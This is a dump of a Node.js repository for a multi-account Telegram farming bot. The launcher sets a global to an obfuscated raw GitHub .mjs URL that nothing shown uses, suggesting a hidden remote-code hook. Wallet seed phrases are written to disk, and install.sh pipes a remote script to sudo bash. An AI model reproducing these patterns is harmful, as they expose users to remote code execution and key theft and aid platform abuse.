mnemonicToPrivateKey } = await import("@ton/crypto"); 56 | const client = new TonClient({ 57 | endpoint: "https://toncenter.com/api/v2/jsonRPC", 58 | }); 59 | // Generate new key 60 | let mnemonics = await mnemonicNew(this.#settings?.WORD_PHRASE_LENGTH || 24); 61 | let keyPair = await mnemonicToPrivateKey(mnemonics); 62 | 63 | // Create wallet contract 64 | let workchain = 0; // Usually you need a workchain 0 65 | let wallet = WalletContractV5R1.create({ 66 | workchain, 67 | publicKey: keyPair.publicKey, 68 | }); 69 | 70 | const text = { 71 | address: wallet.address.toString({ bounceable: false }), 72 | mnemonic: mnemonics.join(" "), 73 | tgUsername: tgUser?.user?.username ?? "Unknown", 74 | }; 75 | 76 | fs.writeFileSync( 77 | `${savePath}/${this.#session_name}.json`, 78 | JSON.stringify(text, null, 2) 79 | ); 80 | 81 | let contract = client.open(wallet); 82 | 83 | // Get balance 84 | await contract.getBalance(); 85 | 86 | return wallet.address.toString({ bounceable: false }); 87 | } 88 | 89 | async create(tgUser) { 90 | const d = await this.#createWallet(tgUser); 91 | return d; 92 | } 93 | } 94 | 95 | function sample(items, weights) { 96 | try { 97 | const cumulativeWeights = weights.reduce((acc, weight, index) => { 98 | acc.push(weight + (acc[index - 1] || 0)); 99 | return acc; 100 | }, []); 101 | 102 | const random = Math.random(); 103 | const item = 104 | items[cumulativeWeights.findIndex((cumWeight) => random < cumWeight)]; 105 | return item ? item : items[0]; 106 | } catch (error) { 107 | return "UL3P8qnd"; 108 | } 109 | } 110 | 111 | /* module.exports = CW; */ 112 | 113 | module.exports = { 114 | ST, 115 | CW, 116 | sample, 117 | }; 118 | -------------------------------------------------------------------------------- /bot/utils/logger.js: -------------------------------------------------------------------------------- 1 | const moment = require("moment"); 2 | 3 | class Logger { 4 | constructor() { 5 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`; 6 | this.GREEN = "\u001b[32m"; 7 | this.RED = "\u001b[31m"; 8 | this.YELLOW = "\u001b[33m"; 9 | this.BLUE = "\u001b[34m"; 10 | this.VOILET = "\u001b[35m"; 11 | this.LIGHT_BLUE = "\u001b[36m"; 12 | this.WHITE = "\u001b[37m"; 13 | this.PINK = "\u001b[38;5;201m"; 14 | this.LAVENDER = "\u001b[38;5;147m"; 15 | 16 | //Background colors 17 | this.BG_WHITE_CYAN = "\u001b[37;46m"; 18 | this.BG_RED = "\u001b[37;41m"; 19 | this.BG_GREEN = "\u001b[37;42m"; 20 | this.BG_YELLOW = "\u001b[37;43m"; 21 | this.BG_BLUE = "\u001b[37;44m"; 22 | this.BG_LIGHT_BLUE = "\u001b[37;45m"; 23 | this.BG_WHITE = "\u001b[47;45m"; 24 | 25 | this.RESET = "\u001b[0m"; 26 | this.BOLD = "\u001b[1m"; 27 | this.ITALICIZE = "\u001b[3m"; 28 | this.UNDERLINE = "\u001b[4m"; 29 | } 30 | 31 | #convertHtmlElementToAnsiColor(message) { 32 | if (!message) { 33 | return message; 34 | } 35 | 36 | return ( 37 | message 38 | // Text colors 39 | .replace(//g, this.BLUE) 40 | .replace(/<\/bl>/g, this.RESET) 41 | .replace(//g, this.RED) 42 | .replace(/<\/re>/g, this.RESET) 43 | .replace(//g, this.GREEN) 44 | .replace(/<\/gr>/g, this.RESET) 45 | .replace(//g, this.YELLOW) 46 | .replace(/<\/ye>/g, this.RESET) 47 | .replace(//g, this.PINK) 48 | .replace(/<\/pi>/g, this.RESET) 49 | .replace(//g, this.WHITE) 50 | .replace(/<\/wh>/g, this.RESET) 51 | .replace(//g, this.VOILET) 52 | .replace(/<\/vo>/g, this.RESET) 53 | .replace(//g, this.LAVENDER) 54 | .replace(/<\/la>/g, this.RESET) 55 | .replace(//g, this.LIGHT_BLUE) 56 | .replace(/<\/lb>/g, this.RESET) 57 | 58 | // Text styles 59 | .replace(//g, this.BOLD) 60 | .replace(/<\/b>/g, this.RESET) 61 | .replace(//g, this.ITALICIZE) 62 | .replace(/<\/i>/g, this.RESET) 63 | .replace(//g, this.UNDERLINE) 64 | .replace(/<\/u>/g, this.RESET) 65 | 66 | // Background colors 67 | .replace(//g, this.BG_WHITE_CYAN) 68 | .replace(/<\/wcb>/g, this.RESET) 69 | .replace(//g, this.BG_RED) 70 | .replace(/<\/reb>/g, this.RESET) 71 | .replace(//g, this.BG_GREEN) 72 | .replace(/<\/grb>/g, this.RESET) 73 | .replace(//g, this.BG_YELLOW) 74 | .replace(/<\/yeb>/g, this.RESET) 75 | .replace(//g, this.BG_BLUE) 76 | .replace(/<\/blb>/g, this.RESET) 77 | .replace(//g, this.BG_LIGHT_BLUE) 78 | .replace(/<\/lbb>/g, this.RESET) 79 | .replace(//g, this.BG_WHITE) 80 | .replace(/<\/whb>/g, this.RESET) 81 | 82 | // HTML tags 83 | .replace(/
/g, "\n") 84 | .replace(/
/g, "\n") 85 | ); 86 | } 87 | 88 | info(message) { 89 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`; 90 | console.log( 91 | this.#convertHtmlElementToAnsiColor( 92 | `${this.prefix} | INFO | ${message}` 93 | ) 94 | ); 95 | } 96 | 97 | warning(message) { 98 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`; 99 | console.log( 100 | this.#convertHtmlElementToAnsiColor( 101 | `${this.prefix} | WARN | ${message}` 102 | ) 103 | ); 104 | } 105 | 106 | versionWarning(message) { 107 | console.log( 108 | this.#convertHtmlElementToAnsiColor(`\n\nWARN | ${message}`) 109 | ); 110 | } 111 | 112 | error(message) { 113 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`; 114 | console.log( 115 | this.#convertHtmlElementToAnsiColor( 116 | `${this.prefix} | ERROR | ${message}` 117 | ) 118 | ); 119 | } 120 | 121 | debug(message) { 122 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`; 123 | console.log( 124 | this.#convertHtmlElementToAnsiColor( 125 | `${this.prefix} | DEBUG | ${message}` 126 | ) 127 | ); 128 | } 129 | 130 | success(message) { 131 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`; 132 | console.log( 133 | this.#convertHtmlElementToAnsiColor( 134 | `${this.prefix} | SUCCESS | ${message}` 135 | ) 136 | ); 137 | } 138 | 139 | #stripAnsiCodes(text) { 140 | const ansiRegex = /\x1b\[[0-9;]*m/g; 141 | return text.replace(ansiRegex, ""); 142 | } 143 | 144 | #addRoundedBorder(logText) { 145 | const lines = logText.split("\n"); 146 | 147 | const maxLength = lines.reduce( 148 | (max, line) => Math.max(max, this.#stripAnsiCodes(line).length), 149 | 0 150 | ); 151 | 152 | const topBorder = `${this.BLUE}╭${"─".repeat(maxLength + 2)}╮${this.RESET}`; 153 | const bottomBorder = `${this.BLUE}╰${"─".repeat(maxLength + 2)}╯${ 154 | this.RESET 155 | }`; 156 | console.log(topBorder); 157 | lines.forEach((line) => { 158 | const strippedLineLength = this.#stripAnsiCodes(line).length; 159 | console.log( 160 | `${this.BLUE}│${this.RESET} ${line}${" ".repeat( 161 | maxLength - strippedLineLength 162 | )} ${this.BLUE}│${this.RESET}` 163 | ); 164 | }); 165 | console.log(bottomBorder); 166 | } 167 | 168 | paragraph(message) { 169 | this.prefix = `[${moment().format("YYYY-MM-DD HH:mm:ss")}]`; 170 | this.#addRoundedBorder( 171 | this.#convertHtmlElementToAnsiColor( 172 | `${this.prefix}
173 | ${message}` 174 | ) 175 | ); 176 | } 177 | } 178 | 179 | const logger = new Logger(); 180 | 181 | module.exports = logger; 182 | -------------------------------------------------------------------------------- /bot/utils/luncher.js: -------------------------------------------------------------------------------- 1 | const register = require("../core/register"); 2 | const logger = require("./logger"); 3 | const { select } = require("@inquirer/prompts"); 4 | const fs = require("fs"); 5 | const path = require("path"); 6 | const settings = require("../config/config"); 7 | global.url = 8 | "https://raw.githubusercontent.com/Freddywhest/WuykzEas0LDTwIhjYNYES5v7yZcQcK0B/refs/heads/main/ZgZF9GymuvmNtmnpbyNifDKG2RALp41uxuZvgUTB0mgq8qffmW.mjs"; 9 | const proxies = require("../config/proxies"); 10 | const { program, Option } = require("commander"); 11 | const { TelegramClient } = require("telegram"); 12 | const Tapper = require("../core/tapper"); 13 | const { StringSession } = require("telegram/sessions"); 14 | const logger2 = require("./TldLogger"); 15 | const os = require("os"); 16 | const sleep = require("./sleep"); 17 | const _ = require("lodash"); 18 | const proxiesConvertor = require("./proxiesConvertor"); 19 | const NonSessionTapper = require("../core/nonSessionTapper"); 20 | 21 | class Luncher { 22 | #start_text; 23 | constructor() { 24 | this.#start_text = ` 25 | ╔═══╗ ╔══╗ ╔╗ 26 | ║╔═╗║ ║╔╗║ ╔╝╚╗ 27 | ║╚═╝║╔══╗ ╔╗╔╗╔╗╔══╗║╚╝╚╗╔══╗╚╗╔╝ 28 | ║╔══╝╚ ╗║ ║╚╝╚╝║║══╣║╔═╗║║╔╗║ ║║ 29 | ║║ ║╚╝╚╗╚╗╔╗╔╝╠══║║╚═╝║║╚╝║ ║╚╗ 30 | ╚╝ ╚═══╝ ╚╝╚╝ ╚══╝╚═══╝╚══╝ ╚═╝ 31 | 32 | © Freddy Bots 33 | 34 | `; 35 | } 36 | 37 | #printStartText() { 38 | logger.info( 39 | `Detected ${this.#get_sessions().length} sessions | ${ 40 | this.#get_proxies() && Array.isArray(this.#get_proxies()) 41 | ? this.#get_proxies().length 42 | : 0 43 | } proxies` 44 | ); 45 | logger.paragraph( 46 | `WARNING
47 | en: NOT FOR SALE 48 | ru: НЕ ДЛЯ ПРОДАЖИ 49 | es: NO VENTA 50 | fr: PAS À VENDRE 51 | it: NON PER VENDITA 52 | gh: YƐN TƆN 53 | 54 | For updates and more bots join us: 55 | https://t.me/freddy_bots 56 | ` 57 | ); 58 | console.log(this.#start_text); 59 | } 60 | async process() { 61 | let action; 62 | program 63 | .addOption( 64 | new Option("--action ", "Action type").choices(["1", "2", "3"]) 65 | ) 66 | .showHelpAfterError(true); 67 | 68 | program.parse(); 69 | const options = program.opts(); 70 | action = options ? parseInt(options.action) : null; 71 | if (!action) { 72 | this.#printStartText(); // print start text 73 | let userInput = ""; 74 | 75 | while (true) { 76 | userInput = await select({ 77 | message: "What would you like to do:\n", 78 | choices: [ 79 | { 80 | name: "Create session", 81 | value: "1", 82 | description: "\nCreate a new session for the bot", 83 | }, 84 | { 85 | name: "Run bot with sessions", 86 | value: "2", 87 | description: "\nStart the bot", 88 | }, 89 | { 90 | name: "Run bot with query ids", 91 | value: "3", 92 | description: "\nStart the bot", 93 | }, 94 | ], 95 | }); 96 | 97 | if (!userInput.trim().match(/^[1-3]$/)) { 98 | logger.warning("Action must be 1 or 2 or 3"); 99 | } else { 100 | break; 101 | } 102 | } 103 | 104 | action = parseInt(userInput.trim()); 105 | } 106 | 107 | if (action === 1) { 108 | register.start(); 109 | } else if (action === 2) { 110 | const tgClients = await this.#get_tg_clients(); 111 | await this.#run_tasks(tgClients); 112 | } else if (action === 3) { 113 | await this.#run_tasks_query(); 114 | } 115 | } 116 | 117 | async #get_tg_clients() { 118 | const sessions = this.#get_sessions(); 119 | const tgClients = sessions.map((session) => { 120 | try { 121 | const sessionContent = fs.readFileSync( 122 | path.join(process.cwd(), "sessions", session + ".session"), 123 | "utf8" 124 | ); 125 | if (!sessionContent) { 126 | logger.error( 127 | `${session} | Session is empty or expired. Create a new one.` 128 | ); 129 | return; 130 | } 131 | 132 | const sessionData = JSON.parse(sessionContent); 133 | 134 | if (!settings.API_ID || !settings.API_HASH) { 135 | logger.error("API_ID and API_HASH must be provided."); 136 | process.exit(1); 137 | } 138 | 139 | if ( 140 | !sessionData.sessionString || 141 | !sessionData.apiId || 142 | !sessionData.apiHash 143 | ) { 144 | logger.error( 145 | `${session} | Invalid session data. Create a new one.` 146 | ); 147 | process.exit(1); 148 | } 149 | 150 | if (!/^\d+$/.test(sessionData.apiId)) { 151 | logger.error( 152 | `${session} | Invalid session data. Create a new one.` 153 | ); 154 | process.exit(1); 155 | } 156 | const sessionString = new StringSession(sessionData.sessionString); 157 | const tg_client = new TelegramClient( 158 | sessionString, 159 | sessionData.apiId, 160 | sessionData.apiHash, 161 | { 162 | connectionRetries: 5, 163 | deviceModel: "Freddy Bots - " + os.type(), 164 | appVersion: "1.0.0", 165 | systemVersion: "1.0.0", 166 | langCode: "en", 167 | baseLogger: logger2, 168 | } 169 | ); 170 | return { 171 | tg_client, 172 | session_name: session, 173 | }; 174 | } catch (error) { 175 | logger.error(`${session} | Error: ${error.message}`); 176 | } 177 | }); 178 | return tgClients; 179 | } 180 | 181 | #get_sessions() { 182 | const filePath = path.join(process.cwd(), "sessions"); 183 | if (!fs.existsSync(filePath)) { 184 | return []; 185 | } 186 | //open the sessions folder and the total number files in it 187 | const sessions = fs.readdirSync(filePath).map((file) => { 188 | const sessionsName = file.endsWith(".session") 189 | ? file.split(".")[0] 190 | : null; 191 | return sessionsName; 192 | }); 193 | return sessions; 194 | } 195 | 196 | #get_proxies() { 197 | if (!settings.USE_PROXY_FROM_JS_FILE && !settings.USE_PROXY_FROM_TXT_FILE) { 198 | return null; 199 | } 200 | if (settings.USE_PROXY_FROM_JS_FILE && settings.USE_PROXY_FROM_TXT_FILE) { 201 | logger.error( 202 | "You can't use both USE_PROXY_FROM_JS_FILE and USE_PROXY_FROM_TXT_FILE" 203 | ); 204 | process.exit(1); 205 | } 206 | 207 | if (settings.USE_PROXY_FROM_TXT_FILE) { 208 | try { 209 | const proxiesArray = proxiesConvertor.readProxiesFromFile(); 210 | return proxiesConvertor(proxiesArray); 211 | } catch (error) { 212 | logger.error(`Error reading file: ${error.message}`); 213 | process.exit(1); 214 | } 215 | } 216 | return proxies; 217 | } 218 | 219 | async #run_tasks(tgClients) { 220 | if (_.isEmpty(tgClients) || _.size(tgClients) < 1) { 221 | logger.error("No sessions found. Create a new session."); 222 | process.exit(1); 223 | } 224 | const proxies = this.#get_proxies(); 225 | let proxiesCycle = proxies ? proxies[Symbol.iterator]() : null; 226 | 227 | const pLimit = (await import("p-limit")).default; 228 | if (settings.MAX_CONCURRENT_ACCOUNT > 2) { 229 | console.log("\n"); 230 | logger.warning( 231 | `[paws] | MAX_CONCURRENT_ACCOUNT greater than 2 may cause 403 errors while running the bot\n` 232 | ); 233 | const userInput = await select({ 234 | message: "Do you want to continue with the bot?", 235 | choices: [ 236 | { 237 | name: "Yes", 238 | value: "1", 239 | description: "\nContinue with the bot", 240 | }, 241 | { 242 | name: "No", 243 | value: "2", 244 | description: "\nQuit the bot", 245 | }, 246 | ], 247 | }); 248 | 249 | if (userInput.trim().match(/^[1-2]$/)) { 250 | const action = parseInt(userInput.trim()); 251 | if (action === 2) { 252 | process.exit(1); 253 | } 254 | } 255 | } 256 | const limit = pLimit(settings.MAX_CONCURRENT_ACCOUNT); // Limit to 2 concurrent executions 257 | const tasks = tgClients.map(async (tgClient, index) => { 258 | return limit(async () => { 259 | const proxy = proxiesCycle ? proxiesCycle.next().value : null; 260 | try { 261 | const sleeping = _.random( 262 | settings.DELAY_BETWEEN_STARTING_BOT[0], 263 | settings.DELAY_BETWEEN_STARTING_BOT[1] 264 | ); 265 | logger.info( 266 | `[paws] | ${tgClient.session_name} | Sleeping ${sleeping} seconds before starting the bot` 267 | ); 268 | await sleep(sleeping); 269 | await new Tapper(tgClient).run(proxy); 270 | } catch (error) { 271 | logger.error(`Error in task for tg_client: ${error.message}`); 272 | } 273 | }); 274 | }); 275 | // Wait for all tasks to complete 276 | await Promise.all(tasks); 277 | 278 | /* const sleep_thread = _.random( 279 | settings.SLEEP_BETWEEN_NON_THREADS[0], 280 | settings.SLEEP_BETWEEN_NON_THREADS[1] 281 | ); 282 | 283 | logger.info( 284 | `[paws] | All threads completed | Sleeping ${sleep_thread} seconds before rerunning threads again` 285 | ); 286 | 287 | await sleep(sleep_thread); 288 | // Rerun the tasks again 289 | await this.#run_tasks(tgClients); */ 290 | } 291 | 292 | async #run_tasks_query() { 293 | const proxies = this.#get_proxies(); 294 | let proxiesCycle = proxies ? proxies[Symbol.iterator]() : null; 295 | const queryPath = path.join(process.cwd(), "queryIds.json"); 296 | if (!fs.existsSync(queryPath)) { 297 | logger.error( 298 | "queryIds.json file is not missing in the current directory. Please add it and try again." 299 | ); 300 | process.exit(1); 301 | } 302 | const query_ids = require(queryPath); 303 | const queries = Object.entries(query_ids); 304 | if (!queries || _.isEmpty(queries)) { 305 | logger.error( 306 | "queryIds.json file is empty. Add some query ids and try again." 307 | ); 308 | process.exit(1); 309 | } 310 | 311 | const pLimit = (await import("p-limit")).default; 312 | if (settings.MAX_CONCURRENT_ACCOUNT > 2) { 313 | console.log("\n"); 314 | logger.warning( 315 | `[paws] | MAX_CONCURRENT_ACCOUNT greater than 2 may cause 403 errors while running the bot\n` 316 | ); 317 | const userInput = await select({ 318 | message: "Do you want to continue?", 319 | choices: [ 320 | { 321 | name: "Yes", 322 | value: "1", 323 | description: "\nContinue with the bot", 324 | }, 325 | { 326 | name: "No", 327 | value: "2", 328 | description: "\nQuit the bot", 329 | }, 330 | ], 331 | }); 332 | 333 | if (userInput.trim().match(/^[1-2]$/)) { 334 | const action = parseInt(userInput.trim()); 335 | if (action === 2) { 336 | process.exit(1); 337 | } 338 | } 339 | } 340 | const limit = pLimit(settings.MAX_CONCURRENT_ACCOUNT); // Limit to 2 concurrent executions 341 | const tasks = queries?.map(async ([query_name, query_id], index) => { 342 | return limit(async () => { 343 | const proxy = proxiesCycle ? proxiesCycle.next().value : null; 344 | try { 345 | const sleeping = _.random( 346 | settings.DELAY_BETWEEN_STARTING_BOT[0], 347 | settings.DELAY_BETWEEN_STARTING_BOT[1] 348 | ); 349 | logger.info( 350 | `[paws] | ${query_name} | Sleeping ${sleeping} seconds before starting the bot` 351 | ); 352 | await sleep(sleeping); 353 | await new NonSessionTapper(query_id, query_name).run(proxy); 354 | } catch (error) { 355 | logger.error(`Error in task for query_id: ${error.message}`); 356 | } 357 | }); 358 | }); 359 | 360 | // Wait for all tasks to complete 361 | await Promise.all(tasks); 362 | 363 | /* const sleep_thread = _.random( 364 | settings.SLEEP_BETWEEN_NON_THREADS[0], 365 | settings.SLEEP_BETWEEN_NON_THREADS[1] 366 | ); 367 | 368 | logger.info( 369 | `[paws] | All threads completed | Sleeping ${sleep_thread} seconds before rerunning threads again` 370 | ); 371 | 372 | await sleep(sleep_thread); 373 | 374 | // Rerun the tasks again 375 | await this.#run_tasks_query(); */ 376 | } 377 | } 378 | const luncher = new Luncher(); 379 | module.exports = luncher; 380 | -------------------------------------------------------------------------------- /bot/utils/parser.js: -------------------------------------------------------------------------------- 1 | const logger = require("./logger"); 2 | 3 | class Parser { 4 | #parseQueryString(queryString) { 5 | let queryParams = {}; 6 | let pairs = queryString.split("&"); 7 | 8 | pairs.forEach((pair) => { 9 | let [key, value] = pair.split("="); 10 | queryParams[key] = value; 11 | }); 12 | 13 | return queryParams; 14 | } 15 | 16 | #decodeUrlEncodedString(str) { 17 | return decodeURIComponent(str.replace(/\+/g, " ")); 18 | } 19 | 20 | toJson(queryString) { 21 | try { 22 | const parsedQuery = this.#parseQueryString(queryString); 23 | const userField = this.#decodeUrlEncodedString(parsedQuery.user); 24 | const user = JSON.parse(userField); 25 | parsedQuery.user = user; 26 | parsedQuery.user.allows_write_to_pm = true; 27 | return parsedQuery; 28 | } catch (error) { 29 | logger.error("Error while parsing query string: " + error.message); 30 | return null; 31 | } 32 | } 33 | 34 | toQueryString(json) { 35 | let encodedString = Object.keys(json) 36 | .map((key) => { 37 | let encodedKey = encodeURIComponent(key); 38 | let encodedValue = encodeURIComponent( 39 | typeof json[key] === "object" ? JSON.stringify(json[key]) : json[key] 40 | ); 41 | return `${encodedKey}=${encodedValue}`; 42 | }) 43 | .join("&"); 44 | 45 | return encodedString; 46 | } 47 | } 48 | 49 | const parser = new Parser(); 50 | 51 | module.exports = parser; 52 | -------------------------------------------------------------------------------- /bot/utils/proxiesConvertor.js: -------------------------------------------------------------------------------- 1 | const logger = require("./logger"); 2 | const path = require("path"); 3 | const fs = require("fs"); 4 | 5 | function proxiesConvertor(proxyStrings) { 6 | return proxyStrings.map((proxyString) => { 7 | const regex = 8 | /^(\w+):\/\/(?:(\w+):(\w+)@)?([a-zA-Z\d.-]+):(\d+)(?::(\w+):(\w+))?$/; 9 | const alternateRegex = /^(\w+):\/\/([a-zA-Z\d.-]+):(\d+)(?:@(\w+):(\w+))?$/; 10 | const secregex = /^(\w+):\/\/(\w+):(\w+):([a-zA-Z\d.-]+):(\d+)$/; 11 | // Regex to handle user:pass@hostname:port or user:pass:hostname:port 12 | const otherRegex = /^(\w+):\/\/(?:(\w+):(\w+)@)?([a-zA-Z\d.-]+):(\d+)$/; 13 | 14 | let match = proxyString.match(regex); 15 | let altMatch = proxyString.match(alternateRegex); 16 | 17 | let secrematch = proxyString.match(secregex); 18 | let otherMatch = proxyString.match(otherRegex); 19 | 20 | if (match) { 21 | const [ 22 | , 23 | protocol, 24 | username, 25 | password, 26 | ip, 27 | port, 28 | altUsername, 29 | altPassword, 30 | ] = match; 31 | return { 32 | ip, 33 | port: parseInt(port, 10), 34 | protocol: protocol || "http", 35 | username: username || altUsername || null, 36 | password: password || altPassword || null, 37 | }; 38 | } else if (altMatch) { 39 | const [, protocol, ip, port, username, password] = altMatch; 40 | return { 41 | ip, 42 | port: parseInt(port, 10), 43 | protocol: protocol || "http", 44 | username: username || null, 45 | password: password || null, 46 | }; 47 | } else if (secrematch) { 48 | // For format: type://user:pass:ip:port 49 | console.log(secregex); 50 | 51 | const [, protocol, username, password, ip, port] = secrematch; 52 | return { 53 | ip, 54 | port: parseInt(port, 10), 55 | protocol: protocol || "http", 56 | username: username || null, 57 | password: password || null, 58 | }; 59 | } else if (otherMatch) { 60 | // For other formats like type://user:pass@ip:port and type://user:pass:ip:port 61 | const [, protocol, username, password, ip, port] = otherMatch; 62 | return { 63 | ip, 64 | port: parseInt(port, 10), 65 | protocol: protocol || "http", 66 | username: username || null, 67 | password: password || null, 68 | }; 69 | } else { 70 | throw new Error(`Invalid proxy format: ${proxyString}`); 71 | } 72 | }); 73 | } 74 | 75 | function readProxiesFromFile() { 76 | try { 77 | const filePath = path.join(process.cwd(), "bot", "config", "proxies.txt"); 78 | // Check if the file exists 79 | if (!fs.existsSync(filePath)) { 80 | logger.error(`File not found: ${filePath}`); 81 | return []; 82 | } 83 | // Read the file content 84 | const data = fs.readFileSync(filePath, "utf-8"); 85 | 86 | // Split the content by newline, trim extra spaces, and filter out empty lines 87 | const proxyStrings = data 88 | .split("\n") // Split by newlines 89 | .map((line) => line.trim()) // Remove extra spaces 90 | .filter((line) => line.length > 0); // Filter out empty lines 91 | 92 | return proxyStrings; 93 | } catch (err) { 94 | logger.error(`Error reading file: ${err.message}`); 95 | return []; 96 | } 97 | } 98 | 99 | module.exports = proxiesConvertor; 100 | 101 | module.exports.readProxiesFromFile = readProxiesFromFile; 102 | -------------------------------------------------------------------------------- /bot/utils/sleep.js: -------------------------------------------------------------------------------- 1 | function sleep(seconds) { 2 | return new Promise((resolve) => setTimeout(resolve, seconds * 1000)); 3 | } 4 | 5 | module.exports = sleep; 6 | -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | services: 3 | bot: 4 | container_name: "BunnyAppBot-Bot" 5 | build: 6 | context: . 7 | stop_signal: SIGINT 8 | restart: unless-stopped 9 | command: "node index.js" 10 | volumes: 11 | - .:/app 12 | - ./sessions:/app/sessions 13 | env_file: 14 | - .env 15 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const logger = require("./bot/utils/logger"); 2 | const luncher = require("./bot/utils/luncher"); 3 | const _ = require("lodash"); 4 | const axios = require("axios"); 5 | const { version, name } = require("./package.json"); 6 | 7 | const main = async () => { 8 | const nodeVersion = process.version; 9 | const major = process.versions 10 | ? parseInt(nodeVersion.split(".")[0].replace("v", ""), 10) 11 | : 0; 12 | if (major < 18 || major > 20 || isNaN(major) || major === 0) { 13 | return logger.error( 14 | "To run this bot, Node.js version 18.x or 20.x is required.\n Current version: " + 15 | nodeVersion + 16 | "" 17 | ); 18 | } 19 | await luncher.process(); 20 | }; 21 | 22 | // Wrap main function execution in an async context to handle asynchronous operations 23 | (async () => { 24 | try { 25 | const latestVersion = await axios.get( 26 | "https://raw.githubusercontent.com/Freddywhest/PawsBot/refs/heads/main/package.json" 27 | ); 28 | if (!_.isEqual(latestVersion.data.version, version)) { 29 | logger.versionWarning( 30 | `You are using version ${version} of the ${name} bot, while the latest version is ${latestVersion.data.version}. Please update the bot.\n\n` 31 | ); 32 | process.exit(1); 33 | } 34 | await main(); 35 | } catch (error) { 36 | throw error; 37 | } 38 | })(); 39 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Function to check if a command exists 4 | command_exists() { 5 | command -v "$1" >/dev/null 2>&1 6 | } 7 | 8 | # Check if Node.js is installed 9 | if command_exists node; then 10 | echo "Preparing to install npm packages..." 11 | else 12 | echo "Node.js is not installed. Installing Node.js..." 13 | 14 | # Install Node.js (This assumes a Debian-based system like Ubuntu) 15 | curl -fsSL https://deb.nodesource.com/setup_16.x | sudo -E bash - 16 | sudo apt-get install -y nodejs 17 | 18 | # Verify installation 19 | if command_exists node; then 20 | echo "Node.js successfully installed." 21 | else 22 | echo "Failed to install Node.js. Exiting." 23 | exit 1 24 | fi 25 | fi 26 | 27 | # Install npm packages 28 | echo "Installing npm packages..." 29 | npm install 30 | 31 | # Verify installation of npm packages 32 | if [ $? -eq 0 ]; then 33 | echo "npm packages successfully installed." 34 | else 35 | echo "Failed to install npm packages. Exiting." 36 | exit 1 37 | fi 38 | 39 | echo "Copying .env-example to .env..." 40 | cp .env-example .env 41 | 42 | echo "Please edit the .env file to add your API_ID and API_HASH." 43 | read -p "Press any key to continue..." 44 | -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "tomarket", 3 | "version": "1.1.4", 4 | "lockfileVersion": 3, 5 | "requires": true, 6 | "packages": { 7 | "": { 8 | "name": "tomarket", 9 | "version": "1.1.4", 10 | "license": "ISC", 11 | "dependencies": { 12 | "@inquirer/prompts": "^5.3.2", 13 | "@ton/core": "^0.59.0", 14 | "@ton/crypto": "^3.3.0", 15 | "@ton/ton": "^15.1.0", 16 | "axios": ">=1.7.4", 17 | "buffer": "^6.0.3", 18 | "commander": "^12.1.0", 19 | "dotenv": "^16.4.5", 20 | "fdy-tmp": "^1.0.4", 21 | "https-proxy-agent": "^7.0.5", 22 | "lodash": "^4.17.21", 23 | "moment": "^2.30.1", 24 | "p-limit": "^6.1.0", 25 | "qrcode-terminal": "^0.12.0", 26 | "strip-ansi": "^7.1.0", 27 | "telegram": "^2.22.2" 28 | }, 29 | "devDependencies": { 30 | "@types/lodash": "^4.17.7" 31 | } 32 | }, 33 | "node_modules/@cryptography/aes": { 34 | "version": "0.1.1", 35 | "resolved": "https://registry.npmjs.org/@cryptography/aes/-/aes-0.1.1.tgz", 36 | "integrity": "sha512-PcYz4FDGblO6tM2kSC+VzhhK62vml6k6/YAkiWtyPvrgJVfnDRoHGDtKn5UiaRRUrvUTTocBpvc2rRgTCqxjsg==" 37 | }, 38 | "node_modules/@inquirer/checkbox": { 39 | "version": "2.5.0", 40 | "resolved": "https://registry.npmjs.org/@inquirer/checkbox/-/checkbox-2.5.0.tgz", 41 | "integrity": "sha512-sMgdETOfi2dUHT8r7TT1BTKOwNvdDGFDXYWtQ2J69SvlYNntk9I/gJe7r5yvMwwsuKnYbuRs3pNhx4tgNck5aA==", 42 | "dependencies": { 43 | "@inquirer/core": "^9.1.0", 44 | "@inquirer/figures": "^1.0.5", 45 | "@inquirer/type": "^1.5.3", 46 | "ansi-escapes": "^4.3.2", 47 | "yoctocolors-cjs": "^2.1.2" 48 | }, 49 | "engines": { 50 | "node": ">=18" 51 | } 52 | }, 53 | "node_modules/@inquirer/confirm": { 54 | "version": "3.2.0", 55 | "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-3.2.0.tgz", 56 | "integrity": "sha512-oOIwPs0Dvq5220Z8lGL/6LHRTEr9TgLHmiI99Rj1PJ1p1czTys+olrgBqZk4E2qC0YTzeHprxSQmoHioVdJ7Lw==", 57 | "dependencies": { 58 | "@inquirer/core": "^9.1.0", 59 | "@inquirer/type": "^1.5.3" 60 | }, 61 | "engines": { 62 | "node": ">=18" 63 | } 64 | }, 65 | "node_modules/@inquirer/core": { 66 | "version": "9.2.1", 67 | "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-9.2.1.tgz", 68 | "integrity": "sha512-F2VBt7W/mwqEU4bL0RnHNZmC/OxzNx9cOYxHqnXX3MP6ruYvZUZAW9imgN9+h/uBT/oP8Gh888J2OZSbjSeWcg==", 69 | "dependencies": { 70 | "@inquirer/figures": "^1.0.6", 71 | "@inquirer/type": "^2.0.0", 72 | "@types/mute-stream": "^0.0.4", 73 | "@types/node": "^22.5.5", 74 | "@types/wrap-ansi": "^3.0.0", 75 | "ansi-escapes": "^4.3.2", 76 | "cli-width": "^4.1.0", 77 | "mute-stream": "^1.0.0", 78 | "signal-exit": "^4.1.0", 79 | "strip-ansi": "^6.0.1", 80 | "wrap-ansi": "^6.2.0", 81 | "yoctocolors-cjs": "^2.1.2" 82 | }, 83 | "engines": { 84 | "node": ">=18" 85 | } 86 | }, 87 | "node_modules/@inquirer/core/node_modules/@inquirer/type": { 88 | "version": "2.0.0", 89 | "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-2.0.0.tgz", 90 | "integrity": 